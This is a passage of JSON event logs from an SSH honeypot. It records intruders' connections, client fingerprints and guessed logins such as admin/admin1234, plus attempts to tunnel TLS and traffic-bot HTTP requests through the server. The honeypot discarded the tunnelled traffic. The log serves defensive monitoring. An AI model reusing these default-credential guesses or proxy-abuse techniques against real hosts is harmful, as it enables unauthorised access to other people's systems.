x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,~\\xf0\\xf7:\\xabIT\\xaaCWT\\x92\\xf9\\xba\\xbc!_GU*\\xf1\\x92\"\\x1a\\xd1\\xc0\\x8b~\\x92xe f\\x96\\x8a\\xa3\\x86\\x14\\x05.\\xdc\\xb7=\\xe4Od\\xbc!\\x1f\\xaeH[\\xe7\\x11\\x9d\\x9cX\\x9a\\xbf*\\x8a\\xda\\x97_\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f\\xee)\\xd8bn\\x19\\x07\\xb8v&S\\x83\\xeao6\\x1e\\x93\\x86\\x0f^9 \\xa0x\\xa5\\xfar\\xfdI!\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:39.273920Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:39.543923Z","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:39.840777Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\xc0\\xa2{\\xb1\\xa9^,\\x83\\x8baw\\xc8!o\\xb3\\x87\\xe9\\xb1\\xee\\xba\\xde#\\xe30/\\x96\\x05\\xfe@\\x9a\\xb9 \\x17\\x81\\x81V\\x08\\xe2\\xb9\\xd3\\x8f\\x99\\x06N\\xeb]\\xe4*\\xda\\n\\xa5=.\\xf8\\xf1\\xdd\\xc5\\xada\\xd6q.\\x89\\xaa\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83\\xa4eh\\xb3\\x15\\x973C\\xec\\x1b\\x0c\\'\\xa4{<\\xee\\xe9\\xb7s&\\x00\\xb9m\\x83\\xc18^\\x0e\\xd6\\x92{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\xc0\\xa2{\\xb1\\xa9^,\\x83\\x8baw\\xc8!o\\xb3\\x87\\xe9\\xb1\\xee\\xba\\xde#\\xe30/\\x96\\x05\\xfe@\\x9a\\xb9 \\x17\\x81\\x81V\\x08\\xe2\\xb9\\xd3\\x8f\\x99\\x06N\\xeb]\\xe4*\\xda\\n\\xa5=.\\xf8\\xf1\\xdd\\xc5\\xada\\xd6q.\\x89\\xaa\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83\\xa4eh\\xb3\\x15\\x973C\\xec\\x1b\\x0c\\'\\xa4{<\\xee\\xe9\\xb7s&\\x00\\xb9m\\x83\\xc18^\\x0e\\xd6\\x92{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:39.843310Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:40.304410Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50470,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e760e52ddd5","protocol":"ssh","message":"New connection: 123.27.168.40:50470 (10.17.0.5:22) [session: 5e760e52ddd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:41.134952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:41.138936Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:41.367760Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52358,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba6f0119a50","protocol":"ssh","message":"New connection: 91.92.40.36:52358 (159.203.135.109:22) [session: 9ba6f0119a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:41.839226Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:42.446622Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nanopi","password":"nanopi","message":"login attempt [nanopi/nanopi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:42.451396Z","src_ip":"91.92.40.36","session":"a8268325031d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:42.568460Z","src_ip":"91.92.40.36","session":"9ba6f0119a50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:42.814227Z","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:42.947011Z","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.042715Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=az5VWU08WHU3MlBQUVlaOA%3D%3DJ1ka3%2FBA8JkKlwxI7lY%2BHv6Ik0VdNy6hQvS3Yua4m%2BO0azc%2BFB8haJaFkHjTUrwqXHkQVweV8jQ%2BlhF7QHZGHOLIzCSMtzb0R%2BIcTXG9TmyB2LdLxnzQzmO7OAE6ENcc%2BsygmMfouZgOYe8YVlE1IQtgRoSXXxVrsdvB5uprRpuvx%2B2q8KpIJhHL0savOhPNMOON8zaKWqvah8YxhXGGshERfnC5qEmGb1mT8vebvD8QEnJJutUkUXM%2B0QN7oTFKp0ZYYxX%2Bs1Ac28%2FTb%2FMA1zebighVRuyxZxRyyQMiWJcQRyew5Xipr%2F8oIytlmzBZDN%2BtQG0HNbnQ%2BJdRSJ5ogioSbAUeINo0RTpWqS%2FN%2FTlxFOxN1Kj8obCOGdtJEUCnCWfTL53nmBo2fOMzGDHNPbOAWkfYWUawRUqlDL14OLgHbSfwm830dbsHVsuPz31lw3%2BZkwSdMsoQvrvqID4%2BkRnfQT3BTIlQs4vrd7rT%2BN0UsECK7FIaOoWlWziC2xIrUBaxBuJF4Vbh0Z2388YzdtAFZzjL2ctw4p7PUUBWipJqp8ayTfJplBmJXqICv1YLYdKBl%2FulVNje4P%2BNqBV88JDaMA00GKZhGUXXkxl0fZ%2B3fpeYsPXC4Mb%2B7tpkioefETb9kWUh2wub%2FoArGRHx3WRjeTMvHiuKtHW9CZRuY6WXrDSpHMXZa0q0K2cQIwpo74Sho0UaybPS5J0t2ltqThrrTUHW8m%2BV8CeOPoQ1AzAZ7UgCz%2BJ3TRyIK9TmJl6a3p%2Fe%2BUOPG%2BvEzeCGCrmeQLunrGVPGinCvr4sUXUNDIBj7zqrr2Z%2FveJAADZYqBmzAIQXADUxl%2BxaiRVQIVPhWUhY4EPLF6Vx%2BwnYd20yRgjNDJOZOYjD%2FUvt%2B8f1j6X2x%2FQ3vCXdaIaLR5YuB3745wzJ6XJSyy9QzXePulAGd5QKiti3VHU%2BqX%2F3G2LZ4kA5XBsCNSZzqX76YbeZ7q2m9xwscEtF%2F7m%2Bq8cRJqBURB%2FdsoGKNd4bYTN9P9UGYas1aCXL9kGgWtdlCWdF9hJI5jVgg5c4HNr7Af203hEvbmHzgh1REb4sDYtcO3MrEox5'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=az5VWU08WHU3MlBQUVlaOA%3D%3DJ1ka3%2FBA8JkKlwxI7lY%2BHv6Ik0VdNy6hQvS3Yua4m%2BO0azc%2BFB8haJaFkHjTUrwqXHkQVweV8jQ%2BlhF7QHZGHOLIzCSMtzb0R%2BIcTXG9TmyB2LdLxnzQzmO7OAE6ENcc%2BsygmMfouZgOYe8YVlE1IQtgRoSXXxVrsdvB5uprRpuvx%2B2q8KpIJhHL0savOhPNMOON8zaKWqvah8YxhXGGshERfnC5qEmGb1mT8vebvD8QEnJJutUkUXM%2B0QN7oTFKp0ZYYxX%2Bs1Ac28%2FTb%2FMA1zebighVRuyxZxRyyQMiWJcQRyew5Xipr%2F8oIytlmzBZDN%2BtQG0HNbnQ%2BJdRSJ5ogioSbAUeINo0RTpWqS%2FN%2FTlxFOxN1Kj8obCOGdtJEUCnCWfTL53nmBo2fOMzGDHNPbOAWkfYWUawRUqlDL14OLgHbSfwm830dbsHVsuPz31lw3%2BZkwSdMsoQvrvqID4%2BkRnfQT3BTIlQs4vrd7rT%2BN0UsECK7FIaOoWlWziC2xIrUBaxBuJF4Vbh0Z2388YzdtAFZzjL2ctw4p7PUUBWipJqp8ayTfJplBmJXqICv1YLYdKBl%2FulVNje4P%2BNqBV88JDaMA00GKZhGUXXkxl0fZ%2B3fpeYsPXC4Mb%2B7tpkioefETb9kWUh2wub%2FoArGRHx3WRjeTMvHiuKtHW9CZRuY6WXrDSpHMXZa0q0K2cQIwpo74Sho0UaybPS5J0t2ltqThrrTUHW8m%2BV8CeOPoQ1AzAZ7UgCz%2BJ3TRyIK9TmJl6a3p%2Fe%2BUOPG%2BvEzeCGCrmeQLunrGVPGinCvr4sUXUNDIBj7zqrr2Z%2FveJAADZYqBmzAIQXADUxl%2BxaiRVQIVPhWUhY4EPLF6Vx%2BwnYd20yRgjNDJOZOYjD%2FUvt%2B8f1j6X2x%2FQ3vCXdaIaLR5YuB3745wzJ6XJSyy9QzXePulAGd5QKiti3VHU%2BqX%2F3G2LZ4kA5XBsCNSZzqX76YbeZ7q2m9xwscEtF%2F7m%2Bq8cRJqBURB%2FdsoGKNd4bYTN9P9UGYas1aCXL9kGgWtdlCWdF9hJI5jVgg5c4HNr7Af203hEvbmHzgh1REb4sDYtcO3MrEox5'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.044883Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.271693Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xb9\\x12\\xd4\\x9c\\xea\\xf7B',\\x14\\xbdV!\\xd9\\xeb\\x8b\\xbdq2x\\x82F\\xd0b\\xc7\\xee%\\x15\\x93\\xf5I \\x0c74\\xce\\x11Bx,\\x9f\\xd3\\x0f\\xe0\\xd2\\xa0\\x03\\xb9\\xdb@\\xcb\\x8b\\xa4c#\\x10c9\\xc9\\xbb@\\xbep\\xac\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x866BPm\\x92\\x9eO\\x7fp\\xee\\x9e([9\\xd4\\x94\\xa4u\\xeb7\\x98\\x91\\xadF\\xf6\\n\\xc6\\xdb\\xe0qn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x